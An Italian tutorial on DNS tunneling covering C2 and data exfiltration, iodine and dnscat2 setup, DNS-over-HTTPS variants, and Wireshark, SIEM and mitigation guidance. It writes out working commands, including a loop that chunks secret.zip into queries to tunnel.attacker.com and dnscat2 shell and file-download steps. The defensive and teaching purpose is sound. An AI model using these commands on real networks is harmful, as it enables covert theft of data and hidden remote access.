DNS Tunneling: Cos'è, Attacco, Exfiltration e Detection

DNS Tunneling: Significato, Attacco CyberSecurity e Detection del Traffico #

Cos’è il DNS Tunneling #

In parole semplici: il DNS tunneling (o DNS tunnel) è una tecnica che nasconde dati dentro le normali richieste DNS, quelle che il computer usa per tradurre un nome a dominio in un indirizzo IP. Invece di chiedere “a che IP risponde questo sito”, la query trasporta comandi, file o l’output di una shell, mascherati da richieste A, TXT, NULL o CNAME come tante altre.

Viene usato in due contesti principali: come canale di comando e controllo (C2) per mantenere l’accesso a un host compromesso, e come canale di DNS exfiltration per far uscire dati da una rete senza passare per i protocolli normalmente monitorati (HTTP, HTTPS, SMB).

Nel framework MITRE ATT&CK la tecnica è catalogata come T1071.004 — Application Layer Protocol: DNS , sotto la categoria Command and Control.

Come funziona il DNS Tunneling #

Il meccanismo sfrutta il modo in cui funziona la risoluzione DNS ricorsiva. Se l’attaccante registra un dominio (es. tunnel.attacker.com) e ne diventa il server NS autoritativo, ogni query per un sottodominio di quel dominio finisce, prima o poi, sul suo server.

Il flusso è questo:

1. Sull’host compromesso gira un client che codifica i dati (comando, file, output) in Base32 o Base64 modificato (il set di caratteri ammessi nei nomi DNS è limitato).
2. I dati codificati diventano un sottodominio: 4d6573736167652d656e636f646564.tunnel.attacker.com.
3. Il resolver interno dell’azienda non conosce quel dominio, quindi inoltra la query verso l’alto, fino ad arrivare al server autoritativo dell’attaccante.
4. Il server dell’attaccante decodifica il sottodominio, esegue l’azione richiesta (o la mette in coda) e restituisce la risposta codificata dentro un record TXT o NULL.
5. Il client sull’host decodifica la risposta.

client -> query: <base32(payload)>.tunnel.attacker.com (type TXT)
server -> response: TXT "<base32(output)>"

tradotto: il payload viaggia nel nome della query, l’output della shell nella risposta.

Perché bypassa i firewall #

Il DNS tunneling funziona così bene in fase di evasione per due motivi molto concreti:

• la porta 53/UDP (e sempre più spesso 53/TCP) è quasi sempre aperta in uscita, perché senza DNS funzionante la rete smette di funzionare;
• la maggior parte dei firewall e dei proxy ispeziona il traffico HTTP/HTTPS in modo molto più aggressivo del traffico DNS, che viene spesso trattato come “di servizio” e lasciato passare senza controlli applicativi.

Questo lo rende interessante sia per mantenere un C2 attivo in reti fortemente segmentate, sia per far uscire dati quando tutti gli altri canali (upload HTTP, email, USB) sono bloccati o monitorati.

DNS Tunneling Attack: scenari reali #

Gli usi offensivi più comuni sono tre:

Command and Control. L’host compromesso polla periodicamente il dominio dell’attaccante chiedendo “ci sono comandi in coda?”. Il server risponde con il comando codificato in un record TXT, l’host lo esegue e invia l’output alla query successiva. È lento (il DNS non è pensato per throughput alto) ma estremamente difficile da bloccare senza rompere la risoluzione dei nomi.

Esfiltrazione dati. Vedi la sezione dedicata più sotto.

Bypass di captive portal e reti Wi-Fi a pagamento. Molti captive portal lasciano passare le query DNS prima dell’autenticazione per permettere la risoluzione del portale stesso. Un tunnel DNS (storicamente il progetto NSTX, oggi più spesso Iodine) permette di avere accesso a Internet gratuito incapsulando IP dentro DNS. È la stessa tecnica, applicazione diversa.

DNS Exfiltration: come viene rubato un file #

Per esfiltrare un file via DNS, il client lo spezza in blocchi che rispettano i limiti del protocollo: ogni label (la porzione tra due punti) può arrivare al massimo a 63 caratteri, e il nome completo della query non può superare i 253 caratteri.

# split del file in chunk da 60 byte, poi encoding Base32 per ogni chunk
split -b 60 secret.zip chunk_
for f in chunk_*; do
  echo "$(cat "$f" | base32 -w0).data.tunnel.attacker.com"
done

tradotto: ogni riga di output diventa una query DNS; sul server autoritativo basta loggare le query in arrivo e ricostruire i chunk nell’ordine giusto.

La velocità reale è bassa: tra overhead di encoding, latenza di rete e limiti di dimensione dei record, si parla tipicamente di pochi KB/s con Iodine in condizioni normali, meno con un tunnel DNS “puro” via TXT fatto a mano. Per questo la DNS exfiltration viene usata per credenziali, chiavi, piccoli archivi — non per spostare database interi.

Tool: Iodine (DNS Tunneling via IP) #

Iodine crea un vero tunnel IP-over-DNS: sull’host compromesso appare un’interfaccia di rete (dns0) su cui instradare qualunque traffico, non solo comandi testuali.

Setup lato server (sul dominio di cui controlli l’NS):

# avvia il server iodine, assegna la subnet del tunnel e il dominio delegato
iodined -f -c -P mypassword 10.0.0.1 tunnel.attacker.com

tradotto: -c disabilita il controllo IP del client (utile dietro NAT), -P è la password condivisa, 10.0.0.1 è l’IP del server dentro il tunnel.

Setup lato client:

# connette al server iodine attraverso il DNS del resolver locale
iodine -f -P mypassword tunnel.attacker.com

A questo punto dns0 è un’interfaccia IP a tutti gli effetti: ci si può instradare SSH, un proxy SOCKS con ssh -D, o qualunque altro traffico.

# una volta che il tunnel iodine è up, pivot completo via SOCKS su SSH
ssh -D 1080 user@10.0.0.1

Throughput tipico: 10–50 KB/s a seconda del tipo di record DNS usato (NULL e TXT danno risultati migliori di A/CNAME) e della presenza di filtri che limitano le risposte EDNS0.

Nota pratica: Iodine non ha un porting nativo per Windows mantenuto bene. In un test autorizzato da un host Windows conviene compilarlo ed eseguirlo dentro WSL (Windows Subsystem for Linux), così il tunnel gira in un ambiente Linux completo senza dover uscire dalla macchina target.

Tool: dnscat2 (C2 nativo su DNS) #

A differenza di Iodine, dnscat2 non crea un’interfaccia IP: è un C2 pensato apposta per girare su DNS, con sessioni multiple, file transfer e un comando shell o exec integrato.

# server dnscat2, con dominio delegato (serve un NS autoritativo reale)
ruby dnscat2.rb tunnel.attacker.com

# client, stesso dominio
./dnscat2 tunnel.attacker.com

Senza un dominio delegato funziona comunque in modalità diretta (dnscat2 --dns server=1.2.3.4,port=53), ma in quel caso il traffico non attraversa la catena di resolver ricorsivi: è utile in lab, molto meno realistico come simulazione di un attacco reale, dove il valore di dnscat2 sta proprio nell’attraversare resolver che l’attaccante non controlla.

Dentro la sessione:

dnscat2> window -i 1
command (user@host) > shell
command (user@host) > download C:\Users\user\secret.txt

tradotto: window -i entra nella sessione, shell apre una shell interattiva incapsulata in DNS, download esfiltra un file a blocchi.

DNS over HTTPS Tunneling #

Una variante più recente usa DNS over HTTPS invece del DNS in chiaro su UDP/53. Il traffico esce come normale HTTPS verso un resolver pubblico (Cloudflare, Google), il che lo rende ancora più difficile da distinguere dal traffico web legittimo — e bypassa completamente i controlli che filtrano solo la porta 53.

Tool come dnscat2-doh o proxy DoH custom instradano le stesse query incapsulate dentro richieste HTTPS verso endpoint come https://cloudflare-dns.com/dns-query. Dal punto di vista del proxy aziendale, è traffico TLS verso un dominio reputato affidabile.

Questo è anche il motivo per cui molte aziende, nel loro programma di DNS tunneling prevention, oggi bloccano o instradano forzatamente tutte le risoluzioni DoH verso il proprio resolver interno, invece di lasciare che ogni host scelga il proprio.

DNS Covert Channel e classificazione MITRE ATT&CK #

Il termine DNS covert channel indica in generale qualunque canale nascosto che usi il protocollo DNS per trasportare dati non previsti dal protocollo stesso — il DNS tunneling ne è il caso più comune e documentato.

Oltre a T1071.004 citata sopra, la tecnica compare come sotto-tecnica anche in:

• T1048 — Exfiltration Over Alternative Protocol , quando il DNS viene usato specificamente per far uscire dati.
• Diversi malware e famiglie C2 reali la implementano: OilRig/APT34 ha usato DNS tunneling in più campagne documentate da threat intelligence pubblica, e framework C2 come Cobalt Strike e Sliver supportano canali DNS come listener alternativo a HTTP/HTTPS.

DNS Tunneling Detection con Wireshark #

Dal punto di vista difensivo, il traffico DNS tunneling ha caratteristiche riconoscibili rispetto al traffico DNS normale, anche solo guardando i pacchetti.

Segnali da cercare in Wireshark :

• volume anomalo di query verso lo stesso dominio di secondo livello, specialmente record TXT e NULL;
• sottodomini lunghi, con entropia alta e caratteri che sembrano casuali (tipico dell’encoding Base32/Base64);
• query molto frequenti e regolari verso lo stesso dominio, da un singolo host, fuori dal pattern normale di navigazione;
• dimensione delle risposte vicina al limite massimo consentito (segno di payload “spinto” al massimo per ottimizzare il throughput).

Filtro pratico per isolare traffico sospetto:

dns.qry.name.len > 50 && dns.flags.response == 0

tradotto: filtra tutte le query DNS il cui nome supera i 50 caratteri — soglia ragionevole per intercettare sottodomini codificati, che un nome a dominio umano normale raramente raggiunge.

Un secondo filtro utile isola la frequenza:

dns.qry.name contains "tunnel" or dns.qry.type == 16

tradotto: il tipo 16 corrisponde ai record TXT, molto più usati nel tunneling che nella navigazione normale.

DNS Tunneling Detection con SIEM #

A livello di SIEM, la detection si basa su analisi statistica del traffico DNS piuttosto che su singole query, perché una singola query sospetta non basta a distinguere un tunnel da un CDN con nomi generati dinamicamente.

Indicatori che si prestano bene a una regola o a una query di ricerca:

• conteggio di query per dominio per host, in una finestra temporale breve (es. più di 100 query/minuto verso lo stesso dominio di secondo livello);
• entropia media dei sottodomini interrogati da un host, calcolata su base giornaliera;
• rapporto tra query e risposte NXDOMAIN: un tunnel mal configurato o un client che tenta domini non ancora registrati genera molti NXDOMAIN;
• lunghezza media dei nomi di dominio interrogati da un host, confrontata con la baseline della rete.

Esempio di query concettuale (adattabile a Splunk/KQL/Sigma a seconda del SIEM):

index=dns | stats count by src_ip, query_domain | where count > 100

tradotto: raggruppa le query DNS per host sorgente e dominio interrogato, segnala chi supera una soglia di volume anomala.

Molti EDR e DNS firewall moderni (Cisco Umbrella, Zscaler, CrowdStrike Falcon) includono già modelli di machine learning dedicati specificamente al rilevamento di DNS tunneling basati su questi stessi principi statistici.

Prevenzione e mitigazione #

Qualunque sia l’ambiente, alcune misure riducono concretamente la superficie d’attacco:

• forzare tutte le risoluzioni DNS (inclusa DoH/DoT) attraverso il resolver aziendale, bloccando l’uscita diretta verso resolver pubblici esterni sulla 53/UDP e TCP;
• rate limiting sulle query DNS per host, con alert su volumi anomali verso lo stesso dominio;
• DNS firewall/sinkhole con reputazione dei domini, per bloccare domini registrati di recente o con pattern sospetti;
• monitoraggio della lunghezza e dell’entropia dei nomi a dominio interrogati, come descritto nella sezione detection;
• segmentazione di rete, per limitare quali host possono fare query DNS dirette verso l’esterno invece che solo verso il resolver interno.

Nessuna di queste misure, da sola, blocca un tunnel ben fatto al 100%: la combinazione di controllo del traffico in uscita e detection comportamentale resta la difesa più efficace.

FAQ #

Il DNS tunneling è rilevabile sempre? No. Un tunnel ben progettato, con basso volume di query e domini che non destano sospetti, può restare sotto la soglia delle regole di detection standard per molto tempo. Per questo la detection comportamentale (volume, entropia, baseline) funziona meglio della ricerca di singole signature.

Qual è la differenza tra DNS tunneling e DNS exfiltration? Il DNS tunneling è la tecnica generale di incapsulare dati nel protocollo DNS; la DNS exfiltration è uno degli usi possibili di quella tecnica, specificamente per far uscire dati da una rete.

Iodine o dnscat2, quale scegliere in un test autorizzato? Dipende dall’obiettivo: Iodine dà un tunnel IP completo (utile per pivoting con qualunque strumento), dnscat2 è più leggero e pensato per C2 testuale/file transfer con meno overhead di setup.

Come sempre con questo tipo di tecniche, il punto di forza offensivo (bypassare i controlli perimetrali) coincide con il punto debole difensivo da presidiare per primo: se il DNS in uscita non è forzato attraverso un resolver monitorato, un tunnel ben costruito ha gioco facile. Vale per il DNS tunneling come per qualunque altro canale di esfiltrazione: la detection comportamentale resta sempre più affidabile della singola signature.